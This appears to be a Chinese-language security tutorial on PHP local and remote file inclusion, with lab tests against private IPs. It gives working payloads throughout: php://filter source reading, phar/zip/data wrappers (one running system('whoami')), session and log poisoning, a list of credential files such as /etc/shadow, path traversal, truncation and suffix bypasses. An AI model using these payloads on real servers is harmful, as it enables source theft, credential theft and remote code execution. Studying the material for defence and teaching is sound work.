文件包含这个漏洞,简单来说既是程序猿在开发中为了方便,会将在多个页面重复使用的代码单独写到一个文件中,在需要用到的地方直接包含进来,包含后的文件既相当于将被包含的整个文件内容复制到了包含处。因为在开发中是经常用到的,因此成为了攻击者的目标,便衍生了多种文件包含的攻击。
include()
include_once()
require()
require_once()
filel_get_contents()
fopen()
readfile()
区别:
require
一般是用于文件头包含类文件、数据库等等文件,include
一般是用于包含htm
l模版文件
include_once()
、require_once()
与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。
在php中文件包含分为本地文件包含(LFI)和远程文件包含(RFI)
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
allow_url_fopen = On
allow_url_include = On
两个配置选项均需要为On
,才能远程包含文件成功。
但是,在php.ini
中,allow_url_fopen
默认一直是On
,而allow_url_include
从php5.2
之后就默认为Off
。
所以远程文件包含的利用条件比较苛刻.
顾名思义,所要包含的文件是在服务器本身的文件
利用条件:
allow_url_include
= On。allow_url_fopen
不做要求。姿势:
利用它可以读取服务器中的文件
由于读取文件的数据直接输出在了页面上,如果读取的是php文件的话,浏览器会直接解析成php代码而不会显示,那么我们可以用这个协议将php文件中的代码以base64的形式输出在页面上:
payload:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。
其他姿势:
file.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。
利用条件:
假设有个文件phpinfo.php
,其内容为,打包成zip压缩包
phpinfo.zip
利用:
指定绝对路径:
file.php?file=phar://D:/phpStudy/WWW/phpinfo.zip/phpinfo.php
也可以使用相对路径:
file.php?file=phar://phpinfo.zip/phpinfo.php
都可以成功发包含文件。
利用条件:
姿势:
构造zip包的方法和phar相同。
但是使用zip伪协议,需要指定绝对路径,同时将#
编码为%23
,之后填上压缩包内的文件·。
file.php?file=zip://D:/phpStudy/WWW/phpinfo.zip%23phpinfo.php
若是使用相对路径,则会包含失败。
利用条件:
allow_url_fopen
= Onallow_url_include
= On姿势一:
?file=data:text/plain,
也可以执行命令:
?file=data:text/plain,
姿势二:
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加号+
的url编码为%2b
,PD9waHAgcGhwaW5mbygpOz8+
的base64解码为:
也可以执行命令:
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
的base64解码为:
利用条件:
session文件路径已知,且其中内容部分可控。
姿势:
php的session
文件的保存路径可以在phpinfo
的session.save_path
看到。
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
其中,session文件的格式时固定的:sess_[phpsessid]
.而phpsessid
在发送的请求的cookie
字段中可以看到。
测试代码:
先随便尝试访问一下,存储一个session文件,我们打开访问:http://192.168.1.153/session.php?file=chuddy
查看这个session文件的内容为:chuddy|s:6:"chuddy";#
发现存储了file
值。于是尝试包含session文件。
抓包访问:
记住这个PHPSESSID=asudiplcmv80km7fb5klokpki0
,于是得到session文件名为:sess_asudiplcmv80km7fb5klokpki0
,所以session文件的路径为/var/lib/php/session/sess_asudiplcmv80km7fb5klokpki0
可以成功包含!
顾名思义,所要包含的文件是在服务器本身的文件,我们可以读取一些在服务器上特殊的敏感信息
上网搜了一下敏感文件的位置:
windows:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\Program Files\mysql\my,ini // MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD // MySQL root
c:\windows\php.ini // php 配置信息
c:\windows\my.ini // MySQL 配置文件
linux:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
利用条件:
需要知道服务器日志的存储路径,且日志文件可读。
很多时候,web服务器会将请求写入到日志文件中,比如说apache
。在用户发起请求时,会将请求写入access.log
,当发生错误时将错误写入error.log
。默认情况下,每个系统日志文件的存储位置不一样,centos
日志保存路径在 /var/log/httpd/access.log
, ubantu
日志文件会保存在/var/log/apache2/access.log
。
在本地常看日志会记录,一些什么信息。
192.168.1.115 - - [12/Jun/2019:15:19:23 +0800] "GET /file.php HTTP/1.1" 200 166"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
通过对正常日志文件的分析发现,里面会存储我们访问的ip信息
,请求的时间,请求求方式,url,客户端浏览器的信息等。
我们把shell藏在url里面
http://192.168.1.103/file.php?file=
但是我们包含失败了,我们查看日志信息:
192.168.1.115 - - [13/Jun/2019:16:25:01 +0800] "GET /file.php?file=%3C?php%20phpinfo();?%3E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
发现一些特殊符号被编码使得无法正确解析。在access.log
中还包括了用户访问的浏览器信息,也就是head
头部中的User-Agent
标识,如果我们把php代码插入到这里,那么同样也是可以执行的,先用burp抓一个包,插入php代码
然后查看日志文件:
192.168.1.115 - - [13/Jun/2019:04:02:42 +0800] "GET /file.php?file=chuddy.php HTTP/1.1" 200 - "-" ""
发现php代码已经写在上面了。尝试包含即可
利用条件:需要知道ssh-log的位置,且可读。
linux下ssh日志的位置:
/var/log/secure
/var/log/auth.log
/var/log/messages
Mac OS X(v10.4 or greater):
/private/var/log/asl.log
Mac OS X(v10.3 or earlier)
/private/var/log/system.log
Debian
/var/log/auth.log
centos的ssh日志路径为:/var/log/secure
我们尝试ssh连接ssh ''@192.168.1.153
发现能在日志文件中成功写下:
Jun 13 04:37:43 localhost sshd[1829]: Invalid user from 192.168.1.115
Jun 13 04:37:43 localhost sshd[1830]: input_userauth_request: invalid user
Jun 13 04:37:45 localhost sshd[1830]: Connection closed by 192.168.1.115
第一次尝试发现不能包含,查看之后,发现没有权限,赋给它权限之后才能成功包含。
php文件上传文件时,会创建临时文件。在linux下使用的是/tmp
目录,而在windows下使用c:\winsdows\temp
,在临时文件被删除之前,利用条件竞争可以包含该临时文件。这个和文件上传漏洞联系比较紧密。
在大多数的情况下,我们碰到的不会是简简单单的include $_GET['file'];
这样直接把变量传入包含函数内的,在很多时候包含的变量/文件,会被值订前缀和后缀。
测试代码:
而在根目录下有一个flag文件内容为:
利用../
可以进行目录遍历,比如我们尝试访问:
include.php?file=../../../flag
则服务器端实际拼接出来的路径为:/var/www/html/../../../flag
,也即/flag
。从而包含成功。
但是有时候会对../
做一些过滤,我们可以利用一些编码来进行绕过。
当包含的文件指定了后缀名时:
@include($_GET['file'].".html");
?>
可以尝试利用以下方法绕过。
利用条件:
需要修改php.ini的配置:
magic_quotes_gpc=off
PHP小于5.3.4
例如上面例题代码一样:限制只能包含html
文件。假如有一个phpinfo.php
内容时,直接包含时肯定不行的,文件名会变成
phpinfo.php.html
如果在参数后面加上一个%00
,实现%00
截断发现成功包含。
在windows最大长度是256,linux上是4096
payload:
?file=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
适用于windows下,.
要超过256
payload:
?file=phpinfo.php..................................................................................................................................................................................................................................................................
利用条件:
allow_url_fopen = On
allow_url_include = On
测试代码:
在远程服务器上的文件代码(test.txt)
payload:
http://127.0.0.1/file.php?file=http://192.168.1.103/test.txt
测试代码
我们发现这里的后缀名被限制为.html
。
url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在远程文件包含漏洞中,可以利用query或fragment来绕过后缀限制。
姿势一:query(?)
http://127.0.0.1/file1.php?file=http://192.168.1.103/test.txt?
则包含的文件为 http://127.0.0.1/file1.php?file=http://192.168.1.103/test.txt?.html
问号后面的部分.html
,也就是指定的后缀被当作query
从而被绕过。
姿势二:fragment(#)
http://127.0.0.1/file1.php?file=http://192.168.1.103/test.txt%23
则包含的文件为
问号后面的部分.html
,也就是指定的后缀被当作fragment
从而被绕过。注意需要把#
进行url编码为%23
。
在windows上%00
、%3f
可以绕过,在linux除此之外%20
也可以绕过
.
、\
、/
等